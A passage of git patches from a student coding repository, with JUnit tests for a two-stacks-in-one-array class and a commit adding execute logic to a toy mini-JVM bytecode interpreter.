+	    stack.push('y');
+	    
+	    Assert.assertEquals(false, stack.isEmpty());
+	}
+
+}
diff --git a/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/TwoStackInOneArrayTest.java b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..377dcf8286
--- /dev/null
+++ b/group12/2258659044/zj-2017/src/test/com/coding/basic/stack/TwoStackInOneArrayTest.java
@@ -0,0 +1,130 @@
+package test.com.coding.basic.stack;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coding.basic.stack.TwoStackInOneArray;
+
+public class TwoStackInOneArrayTest {
+
+	
+	TwoStackInOneArray stack;
+	
+	@Before
+	public void setUp() throws Exception {
+		
+		stack = new TwoStackInOneArray();
+	}
+
+	//@Test(expected = EmptyStackException.class)
+	public void testPush1() {
+		
+		stack.push1("zj");
+		Assert.assertEquals("zj", stack.peek1());
+		
+		stack.push1("hy");
+		Assert.assertEquals("hy", stack.peek1());
+		
+		stack.pop1();
+		stack.pop1();
+		
+		stack.peek1();		
+	}
+
+	//@Test(expected = EmptyStackException.class)
+	public void testPop1() {
+		
+		stack.push1("zj");
+		Assert.assertEquals("zj", stack.pop1());
+		stack.pop1();
+		
+	}
+
+	//@Test
+	public void testPeek1() {
+		
+		stack.push1("zj");
+		Assert.assertEquals("zj", stack.peek1());
+		
+		stack.push1("hh");
+		stack.push1("hy");		
+		Assert.assertEquals("hy", stack.peek1());
+		
+	}
+
+	//@Test(expected = EmptyStackException.class)
+	public void testPush2() {
+		
+		stack.push2("zj");
+		Assert.assertEquals("zj", stack.peek2());
+		
+		stack.push2("hy");
+		Assert.assertEquals("hy", stack.peek2());
+		
+		stack.pop2();
+		stack.pop2();
+		
+		stack.peek2();	
+	}
+
+	//@Test(expected = EmptyStackException.class)
+	public void testPop2() {
+		
+		stack.push2("zj");
+		Assert.assertEquals("zj", stack.pop2());
+		stack.pop2();
+	}
+
+	//@Test
+	public void testPeek2() {
+		
+		stack.push2("zj");
+		Assert.assertEquals("zj", stack.peek2());
+		
+		stack.push2("hh");
+		stack.push2("hy");		
+		Assert.assertEquals("hy", stack.peek2());
+	}
+
+	@Test
+	public void testGrow() throws Exception{
+		
+		for (int i = 0; i < 5; i++) {
+			stack.push1(i);
+		}
+		
+		for (int i = 0; i < 5; i++) {
+			stack.push2(i);
+		}
+		Assert.assertEquals(4, stack.peek1());
+		Assert.assertEquals(4, stack.peek2());
+		
+		//重置栈
+		setUp();		
+		for (int i = 0; i < 11; i++) {
+			stack.push1(i);
+		}
+		Assert.assertEquals(10, stack.peek1());
+		
+		setUp();
+		for (int i = 0; i < 11; i++) {
+			stack.push2(i);
+		}
+		Assert.assertEquals(10, stack.peek2());
+		
+		setUp();
+		for (int i = 0; i < 5; i++) {
+			stack.push1(i);
+		}
+		for (int i = 0; i < 10; i++) {
+			stack.push2(i);
+		}
+		Assert.assertEquals(4, stack.peek1());
+		Assert.assertEquals(9, stack.peek2());
+		stack.pop1();
+		stack.pop2();
+		Assert.assertEquals(3, stack.peek1());
+		Assert.assertEquals(8, stack.peek2());
+	}
+}

From 70760b94b390dafe57b7b4d1ed81cb458543f8d8 Mon Sep 17 00:00:00 2001
From: ZhaoHongxin <zhaohongxin621@126.com>
Date: Thu, 4 May 2017 23:07:02 +0800
Subject: [PATCH 171/262] JVM

---
 .../src/com/coderising/jvm/clz/ClassFile.java |  11 +-
 .../src/com/coderising/jvm/cmd/BiPushCmd.java |  12 +-
 .../coderising/jvm/cmd/ByteCodeCommand.java   |  43 +++++-
 .../com/coderising/jvm/cmd/GetFieldCmd.java   |  17 ++-
 .../coderising/jvm/cmd/GetStaticFieldCmd.java |  22 +++-
 .../coderising/jvm/cmd/InvokeSpecialCmd.java  |  23 ++++
 .../coderising/jvm/cmd/InvokeVirtualCmd.java  |  66 ++++++++++
 .../src/com/coderising/jvm/cmd/LdcCmd.java    |  23 ++++
 .../com/coderising/jvm/cmd/NewObjectCmd.java  |  22 ++++
 .../com/coderising/jvm/cmd/NoOperandCmd.java  | 124 ++++++++++++++++++
 .../com/coderising/jvm/cmd/PutFieldCmd.java   |  24 ++++
 .../jvm/engine/ExecutionResult.java           |  56 ++++++++
 .../coderising/jvm/engine/ExecutorEngine.java |  73 +++++++++++
 .../src/com/coderising/jvm/engine/Heap.java   |  39 ++++++
 .../com/coderising/jvm/engine/JavaObject.java |  71 ++++++++++
 .../com/coderising/jvm/engine/MethodArea.java |  87 ++++++++++++
 .../com/coderising/jvm/engine/MiniJVM.java    |  28 ++++
 .../com/coderising/jvm/engine/StackFrame.java | 117 +++++++++++++++++
 .../src/com/coderising/jvm/method/Method.java |  63 ++++++++-
 .../com/coderising/jvm/test/MiniJVMTest.java  |  28 ++++
 20 files changed, 932 insertions(+), 17 deletions(-)
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/ExecutionResult.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/ExecutorEngine.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/Heap.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/JavaObject.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/MethodArea.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/MiniJVM.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/StackFrame.java
 create mode 100644 group05/1094051862/mini-jvm/src/com/coderising/jvm/test/MiniJVMTest.java

diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
index 2381d6f5f6..17fb2d2ec0 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -111,15 +111,6 @@ public Method getMethod(String methodName, String paramAndReturnType){
 		return null;
 	}
 	public Method getMainMethod(){
-		for(Method m :methods){
-			int nameIndex = m.getNameIndex();
-			int descIndex = m.getDescriptorIndex();
-			String name = this.getConstantPool().getUTF8String(nameIndex);
-			String desc = this.getConstantPool().getUTF8String(descIndex);
-			if(name.equals("main")  && desc.equals("([Ljava/lang/String;)V")){
-				return m;
-			}
-		}
-		return null;
+		return getMethod("main", "([Ljava/lang/String;)V");
 	}
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
index 8c15e1bd44..2b7a52240a 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -3,6 +3,10 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class BiPushCmd extends OneOperandCmd {
@@ -17,7 +21,13 @@ public String toString(ConstantPool pool) {
 	
 		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
 	}
-	
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		int value = this.getOperand();
+		JavaObject jo = Heap.getInstance().newInt(value);
+		frame.getOprandStack().push(jo);
+	}
 	
 
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
index 85f6f637d4..820b3d6002 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -6,6 +6,8 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public abstract class ByteCodeCommand {	
@@ -14,6 +16,44 @@ public abstract class ByteCodeCommand {
 	ClassFile clzFile;	
 	private int offset;
 	
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+	
+	
+	
 	private static Map<String,String> codeMap = new HashMap<String,String>();
 	
 	static{
@@ -123,6 +163,7 @@ public String getReadableCodeText(){
 		}
 		return txt;
 	}
+
 	
-	//public abstract void execute(StackFrame frame,FrameResult result);
+	public abstract void execute(StackFrame frame,ExecutionResult result);
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
index 4d989d6cbb..80a11e67c3 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -2,6 +2,10 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class GetFieldCmd extends TwoOperandCmd {
@@ -16,7 +20,16 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsField(pool);
 	}
 
-	
-	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String fieldName = fieldRef.getFieldName();
+		JavaObject jo = frame.getOprandStack().pop();
+		JavaObject fieldValue = jo.getFieldValue(fieldName);
+		
+		frame.getOprandStack().push(fieldValue);
+		
+	}
+
 
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
index 9fb13677eb..232b053643 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -1,10 +1,12 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 
 public class GetStaticFieldCmd extends TwoOperandCmd {
@@ -20,4 +22,20 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsField(pool);
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String className = info.getClassName();
+		String fieldName = info.getFieldName();
+		String fieldType = info.getFieldType();
+		
+		if("java/lang/System".equals(className) 
+				&& "out".equals(fieldName) 
+				&& "Ljava/io/PrintStream;".equals(fieldType)){
+			JavaObject jo = Heap.getInstance().newObject(className);
+			frame.getOprandStack().push(jo);
+		}
+		//TODO 处理非System.out的情况
+	}
+
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
index 5ac3454be7..a7c6cca5e7 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -3,6 +3,10 @@
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.MethodArea;
+import com.coderising.jvm.engine.StackFrame;
+import com.coderising.jvm.method.Method;
 
 
 public class InvokeSpecialCmd extends TwoOperandCmd {
@@ -18,6 +22,25 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsMethod(pool);
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+		
+		// 我们不用实现jang.lang.Object 的init方法
+		if(methodRefInfo.getClassName().equals("java/lang/Object") 
+				&& methodRefInfo.getMethodName().equals("<init>")){
+			return ;
+			
+		}
+		Method nextMethod = MethodArea.getInstance().getMethod(methodRefInfo);
+		
+		
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		result.setNextMethod(nextMethod);
+		
+	}
+
 	
 
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
index 303a64b4c7..24cb38789a 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -2,6 +2,12 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.MethodArea;
+import com.coderising.jvm.engine.StackFrame;
+import com.coderising.jvm.method.Method;
 
 
 public class InvokeVirtualCmd extends TwoOperandCmd {
@@ -16,7 +22,67 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsMethod(pool);
 	}
 
+	private boolean isSystemOutPrintlnMethod(String className, String methodName){
+		return "java/io/PrintStream".equals(className) 
+				&& "println".equals(methodName);
+	}
 	
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		//先得到对该方法的描述
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+		
+		String className = methodRefInfo.getClassName();
+		String methodName = methodRefInfo.getMethodName();
+		
+		// 我们没有实现System.out.println方法，  所以也不用建立新的栈帧， 直接调用Java的方法， 打印出来即可。 
+		if(isSystemOutPrintlnMethod(className,methodName)){
+			JavaObject jo = (JavaObject)frame.getOprandStack().pop();
+			String value = jo.toString();
+			System.err.println("-------------------"+value+"----------------");
+			
+			// 这里就是那个out对象， 因为是个假的，直接pop出来
+			frame.getOprandStack().pop();
+			
+			return;
+		}
+		
+		//注意：多态， 这才是真正的对象, 先从该对象的class 中去找对应的方法，找不到的话再去找父类的方法
+		JavaObject jo = frame.getOprandStack().peek();
+		
+		MethodArea ma = MethodArea.getInstance();
+		
+		Method m = null;
+		
+		String currentClassName = jo.getClassName();
+		
+		while(currentClassName != null){
+			
+			ClassFile currentClassFile = ma.findClassFile(currentClassName);
+			
+			m = currentClassFile.getMethod(methodRefInfo.getMethodName(), 
+					methodRefInfo.getParamAndReturnType());
+			if(m != null){
+				
+				break;
+				
+			} else{
+				//查找父类
+				currentClassName = currentClassFile.getSuperClassName();
+			}
+		}	
+		
+		if(m == null){
+			throw new RuntimeException("Can't find method for :" + methodRefInfo.toString());
+		}
+		
+		
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		
+		result.setNextMethod(m);
+	}
 	
 
+
+
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
index 00f9a5a699..8870f8fa65 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -4,6 +4,10 @@
 import com.coderising.jvm.constant.ConstantInfo;
 import com.coderising.jvm.constant.ConstantPool;
 import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 public class LdcCmd extends OneOperandCmd {
 
@@ -25,5 +29,24 @@ public String toString(ConstantPool pool) {
 		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
 		
 	}
+
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		ConstantPool pool = this.getConstantPool();
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			String value = strInfo.toString();
+			JavaObject jo = Heap.getInstance().newString(value);
+			frame.getOprandStack().push(jo);
+		}
+		else{
+			//TBD 处理其他类型
+			throw new RuntimeException("Only support StringInfo constant");
+		}
+		
+	}
+	
 	
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
index a43c8bd964..b40c77754f 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -1,7 +1,12 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 public class NewObjectCmd extends TwoOperandCmd{
 	
@@ -15,5 +20,22 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsClassInfo(pool);
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		
+		int index = this.getIndex();
+		
+		ClassInfo info = (ClassInfo)this.getConstantInfo(index);
+		
+		String clzName = info.getClassName();
+		
+		//在Java堆上创建一个实例
+		JavaObject jo = Heap.getInstance().newObject(clzName);
+		
+		frame.getOprandStack().push(jo);
+		
+		
+	}
+
 	
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
index 92e5c4f3f1..4f3ab0fb5e 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -2,6 +2,10 @@
 
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.Heap;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 public class NoOperandCmd extends ByteCodeCommand{
 
@@ -20,4 +24,124 @@ public  int getLength(){
 		return 1;
 	}
 
+	@Override
+	public void execute(StackFrame frame, ExecutionResult result) {
+		String opCode = this.getOpCode();
+		
+		if(ByteCodeCommand.aload_0.equals(opCode)){
+		
+			JavaObject jo = frame.getLocalVariableValue(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_1.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.aload_2.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if(ByteCodeCommand.iload_1.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if (ByteCodeCommand.iload_2.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(2);
+			
+			frame.getOprandStack().push(jo);
+			
+		}  else if (ByteCodeCommand.iload_3.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}else if (ByteCodeCommand.fload_3.equals(opCode)){
+			
+			JavaObject jo = frame.getLocalVariableValue(3);
+			
+			frame.getOprandStack().push(jo);
+			
+		}
+		else if (ByteCodeCommand.voidreturn.equals(opCode)){
+			
+			result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+			
+		} else if(ByteCodeCommand.ireturn.equals(opCode)){
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.freturn.equals(opCode)){
+			
+			StackFrame callerFrame = frame.getCallerFrame();
+			JavaObject jo = frame.getOprandStack().pop();
+			callerFrame.getOprandStack().push(jo);
+		}
+		
+		else if(ByteCodeCommand.astore_1.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+		    frame.setLocalVariableValue(1, jo);
+		    
+		} else if(ByteCodeCommand.dup.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().peek();
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_0.equals(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(0);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.iconst_1.equals(opCode)){
+			
+			JavaObject jo = Heap.getInstance().newInt(1);
+			
+			frame.getOprandStack().push(jo);
+			
+		} else if(ByteCodeCommand.istore_1.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(1, jo);
+			
+		}  else if(ByteCodeCommand.istore_2.equals(opCode)){
+			
+			JavaObject jo = frame.getOprandStack().pop();
+			
+			frame.setLocalVariableValue(2, jo);
+			
+		} else if(ByteCodeCommand.iadd.equals(opCode)){
+			
+			JavaObject jo1 = frame.getOprandStack().pop();
+			JavaObject jo2 = frame.getOprandStack().pop();
+			
+			JavaObject sum = Heap.getInstance().newInt(jo1.getIntValue()+jo2.getIntValue());
+			
+			frame.getOprandStack().push(sum);
+			
+		} else if (ByteCodeCommand.aconst_null.equals(opCode)){
+			
+			frame.getOprandStack().push(null);
+			
+		} 
+		else{
+			throw new RuntimeException("you must forget to implement the operation :" + opCode);
+		}
+		
+		
+		
+	}
+
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
index 00b29e1fbc..aab9c27c2f 100644
--- a/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/cmd/PutFieldCmd.java
@@ -1,7 +1,13 @@
 package com.coderising.jvm.cmd;
 
 import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.engine.ExecutionResult;
+import com.coderising.jvm.engine.JavaObject;
+import com.coderising.jvm.engine.StackFrame;
 
 public class PutFieldCmd extends TwoOperandCmd {
 
@@ -15,5 +21,23 @@ public String toString(ConstantPool pool) {
 		return super.getOperandAsField(pool);
 	}
 
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {	
+		
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		
+		ClassInfo clzInfo = (ClassInfo)this.getConstantInfo(fieldRef.getClassInfoIndex());
+		NameAndTypeInfo nameTypeInfo = (NameAndTypeInfo)this.getConstantInfo(fieldRef.getNameAndTypeIndex());
+		// for example : name
+		String fieldName = nameTypeInfo.getName();
+		// for example : Ljava/lang/String : 注意：我们不再检查类型
+		String fieldType = nameTypeInfo.getTypeInfo();
+		
+		JavaObject fieldValue = frame.getOprandStack().pop();
+		JavaObject objectRef = frame.getOprandStack().pop();
+		
+		objectRef.setFieldValue(fieldName, fieldValue);
+		
+	}
 
 }
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/ExecutionResult.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/ExecutionResult.java
new file mode 100644
index 0000000000..87ae484b01
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/ExecutionResult.java
@@ -0,0 +1,56 @@
+package com.coderising.jvm.engine;
+
+import com.coderising.jvm.method.Method;
+
+public class ExecutionResult {
+	public static final int RUN_NEXT_CMD = 1;
+	public static final int JUMP = 2;
+	public static final int EXIT_CURRENT_FRAME = 3;
+	public static final int PAUSE_AND_RUN_NEW_FRAME = 4;
+	
+	private int nextAction = RUN_NEXT_CMD; 
+	
+	private int nextCmdOffset = 0;
+	
+	private Method nextMethod;
+	
+	public Method getNextMethod() {
+		return nextMethod;
+	}
+	public void setNextMethod(Method nextMethod) {
+		this.nextMethod = nextMethod;
+	}
+
+	
+	
+	public void setNextAction(int action){
+		this.nextAction = action;
+	}
+	public boolean isPauseAndRunNewFrame(){
+		return this.nextAction == PAUSE_AND_RUN_NEW_FRAME;
+	}
+	public boolean isExitCurrentFrame(){
+		return this.nextAction == EXIT_CURRENT_FRAME;
+	}
+	
+	public boolean isRunNextCmd(){
+		return this.nextAction == RUN_NEXT_CMD;
+	}
+	
+	public boolean isJump(){
+		return this.nextAction == JUMP;
+	}
+	
+	public int getNextCmdOffset() {
+		return nextCmdOffset;
+	}
+
+	public void setNextCmdOffset(int nextCmdOffset) {
+		this.nextCmdOffset = nextCmdOffset;
+	}
+	
+	
+	
+	
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/ExecutorEngine.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/ExecutorEngine.java
new file mode 100644
index 0000000000..982ccff5fa
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/ExecutorEngine.java
@@ -0,0 +1,73 @@
+package com.coderising.jvm.engine;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.method.Method;
+
+public class ExecutorEngine {
+
+	private Stack<StackFrame> stack = new Stack<StackFrame>();
+	
+	public ExecutorEngine() {
+		
+	}
+	
+	public void execute(Method mainMethod){
+		
+		StackFrame mainFrame = StackFrame.create(mainMethod);
+		stack.push(mainFrame);
+		
+		while(!stack.isEmpty()) {
+			StackFrame frame = stack.peek();
+			
+			ExecutionResult result = frame.execute();
+			
+			if(result.isPauseAndRunNewFrame()) {
+				Method nextMethod = result.getNextMethod();
+				StackFrame nextFrame = StackFrame.create(nextMethod);
+				nextFrame.setCallerFrame(frame);
+				setupFunctionCallParams(frame, nextFrame);
+				
+				stack.push(nextFrame);
+			} else {
+				stack.pop();
+			}
+		}
+	}
+	
+	
+	/**
+	 * 将操作数栈中的操作数load到下一个方法栈的局部变量表中
+	 * @param currentFrame
+	 * @param nextFrame
+	 */
+	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
+		
+		Method nextMethod = nextFrame.getMethod();
+		List<String> paramList = nextMethod.getParameterList();
+		//要把this也传递进去
+		int paramNum = paramList.size() + 1;
+		
+		ArrayList<JavaObject> values = new ArrayList<JavaObject>();
+		
+		while(paramNum>0) {
+			values.add(currentFrame.getOprandStack().pop());
+			paramNum --;
+		}
+		//倒序排列vlaues
+		ArrayList<JavaObject> params = new ArrayList<JavaObject>();
+		
+		for(int i = values.size()-1; i>=0; i--) {
+			params.add(values.get(i));
+		}
+		
+		nextFrame.setLocalVariableTable(params);
+	}
+	
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/Heap.java b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/Heap.java
new file mode 100644
index 0000000000..7df6548625
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coderising/jvm/engine/Heap.java
